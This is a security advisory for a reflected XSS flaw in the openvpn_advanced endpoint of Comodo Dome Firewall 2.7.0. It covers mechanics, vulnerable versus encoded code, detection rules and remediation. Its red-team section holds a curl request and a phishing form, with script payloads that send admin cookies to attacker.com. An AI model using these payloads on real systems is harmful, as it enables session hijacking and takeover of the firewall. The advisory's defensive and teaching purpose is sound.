CVE-2019-25429
Executive Summary
CVE-2019-25429 is a reflected cross-site scripting (XSS) vulnerability in Comodo Dome Firewall version 2.7.0. The flaw exists in the openvpn_advanced endpoint, where the GLOBAL_NETWORKS and GLOBAL_DNS POST parameters are not properly sanitized before being reflected back to the user. An attacker can craft a malicious POST request containing JavaScript payloads; when a victim (typically an administrator) submits the form or the response is rendered, the script executes in the context of the firewall’s web interface. This can lead to session hijacking, credential theft, or further compromise of the firewall appliance.
Note: This is a network appliance vulnerability, not a WordPress plugin issue. The vendor (Comodo) has not released an official patch, and the product may be end-of-life.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Not applicable – this is a proprietary network appliance, not an open-source package.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must click a link or submit a crafted form)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium – Exploitation requires user interaction, but the impact can lead to full administrative compromise of the firewall.
Deep Dive & Mechanics
The vulnerability resides in the /openvpn_advanced endpoint of the Comodo Dome Firewall web interface. When an administrator configures OpenVPN advanced settings, the application accepts GLOBAL_NETWORKS and GLOBAL_DNS parameters via POST requests. These parameters are reflected directly into the HTML response without proper encoding or sanitization.
Attack Flow:
- Attacker crafts a malicious URL or form that POSTs to
/openvpn_advancedwith payloads like<script>alert('XSS')</script>in theGLOBAL_NETWORKSparameter. - The attacker lures an authenticated administrator to visit the crafted link or submit the form (e.g., via phishing email).
- The firewall processes the request and reflects the payload in the response page.
- The victim’s browser executes the injected JavaScript, which can:
- Steal session cookies (if HttpOnly flag is missing).
- Perform actions on behalf of the admin (e.g., change firewall rules, exfiltrate configs).
- Redirect to attacker-controlled sites.
Root Cause: Lack of input validation and output encoding for user-supplied data in the openvpn_advanced endpoint.
Vulnerable vs. Patched Code
Since no official patch exists, we compare the vulnerable code pattern to a secure implementation.
Vulnerable Code (PHP-like pseudocode):
<?php
$networks = $_POST['GLOBAL_NETWORKS'];
echo "<input type='text' name='GLOBAL_NETWORKS' value='$networks'>";
?>
Patched Code (Secure):
<?php
$networks = htmlspecialchars($_POST['GLOBAL_NETWORKS'], ENT_QUOTES, 'UTF-8');
echo "<input type='text' name='GLOBAL_NETWORKS' value='$networks'>";
?>
The patched version uses htmlspecialchars() to encode special characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Access to a Comodo Dome Firewall 2.7.0 instance (lab environment).
- A valid admin session cookie (or lure an admin to click).
Step 1: Craft the malicious POST request
curl -X POST "https://target.fw:8443/openvpn_advanced" \
-d "GLOBAL_NETWORKS=<script>alert('XSS')</script>&GLOBAL_DNS=8.8.8.8" \
-b "session=admin_session_cookie"
Step 2: Phishing link (if admin is not already authenticated)
<form action="https://target.fw:8443/openvpn_advanced" method="POST">
<input type="hidden" name="GLOBAL_NETWORKS" value='<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'>
<input type="hidden" name="GLOBAL_DNS" value="8.8.8.8">
<input type="submit" value="Click here to update settings">
</form>
Step 3: Exfiltrate cookies
// Payload for GLOBAL_NETWORKS
<script>
var img = new Image();
img.src = "https://attacker.com/log?cookie=" + document.cookie;
</script>
Blue Team (Defense & Detection)
Detection:
- Monitor POST requests to
/openvpn_advancedcontaining<script>,onerror,javascript:patterns. - Alert on unusual referrers or user agents.
- Enable Web Application Firewall (WAF) rules to block reflected XSS.
Mitigation:
- Apply input validation (whitelist IP addresses/domains only).
- Implement Content Security Policy (CSP) headers.
- Restrict access to the admin interface via VPN or IP whitelisting.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/openvpn_advancedwithGLOBAL_NETWORKSorGLOBAL_DNScontaining<script>tags. - Outbound connections to attacker-controlled domains from the firewall’s admin interface.
- POST requests to
- File IOCs:
- Suspicious entries in web server logs (e.g.,
%3Cscript%3EURL-encoded payloads).
- Suspicious entries in web server logs (e.g.,
- Behavioral IOCs:
- Unexpected changes to OpenVPN configuration.
- New admin accounts or modified firewall rules.
Detection Engineering
YARA Rule
rule CVE_2019_25429_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against Comodo Dome Firewall openvpn_advanced endpoint"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2019-25429"
strings:
$payload1 = /GLOBAL_NETWORKS=.*<script/i
$payload2 = /GLOBAL_DNS=.*<script/i
$payload3 = /GLOBAL_NETWORKS=.*onerror/i
$payload4 = /GLOBAL_DNS=.*onerror/i
condition:
any of ($payload*)
}
Sigma Rule
title: Reflected XSS Attempt Against Comodo Dome Firewall
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to /openvpn_advanced with XSS payloads in GLOBAL_NETWORKS or GLOBAL_DNS parameters
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/openvpn_advanced'
cs-uri-query|contains:
- 'GLOBAL_NETWORKS=<'
- 'GLOBAL_DNS=<'
- 'GLOBAL_NETWORKS=javascript:'
- 'GLOBAL_DNS=javascript:'
condition: selection
falsepositives:
- Legitimate use of angle brackets in network descriptions (unlikely)
level: high
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2019-25429 Comodo Dome Firewall Reflected XSS"; flow:to_server,established; content:"POST"; http_method; content:"/openvpn_advanced"; http_uri; content:"GLOBAL_NETWORKS"; http_client_body; pcre:"/GLOBAL_NETWORKS=.*<script/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the firewall – Restrict admin interface access to trusted IPs only.
- Apply virtual patching – Use a WAF to block requests containing
<script>oronerrorin theGLOBAL_NETWORKSandGLOBAL_DNSparameters. - Upgrade – If a newer version exists (check Comodo’s website), upgrade immediately. Otherwise, consider migrating to a supported firewall solution.
Long-term Fix:
- Comodo must release a patch that properly sanitizes input in the
openvpn_advancedendpoint. - Until then, disable the OpenVPN advanced settings feature if not required.
Workaround:
- Manually edit the PHP files (if accessible) to add
htmlspecialchars()encoding.
Valters IT